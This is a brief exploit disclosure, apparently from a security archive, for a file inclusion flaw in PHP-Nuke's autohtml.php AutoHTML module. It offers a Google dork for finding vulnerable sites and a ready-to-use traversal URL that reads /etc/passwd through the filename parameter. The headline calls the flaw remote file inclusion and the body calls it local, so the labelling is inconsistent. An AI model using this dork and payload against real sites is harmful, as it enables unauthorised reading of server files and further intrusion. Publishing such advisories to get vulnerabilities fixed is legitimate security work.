PHP-Nuke suffers from a remote file inclusion vulnerability in autohtml.php.
e24737c2848f8fa9d60ead1e1718041f9373ad9f5823a90e7c48b7d2710234ef
--------------------------------------------------------------------------------------------------------------------------------------
Another Bug on PHP-Nuke (autohtml.php) AutoHTML Module Local File Inclusion
Dork: inurl:autohtml.php?filename=LFI
Example:
http://site.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd
Discovered by d3v1l d3v1l@security-shell.org
http://security-shell.uni.cc
---------------------------------------------------------------------------------------------------------------------------------------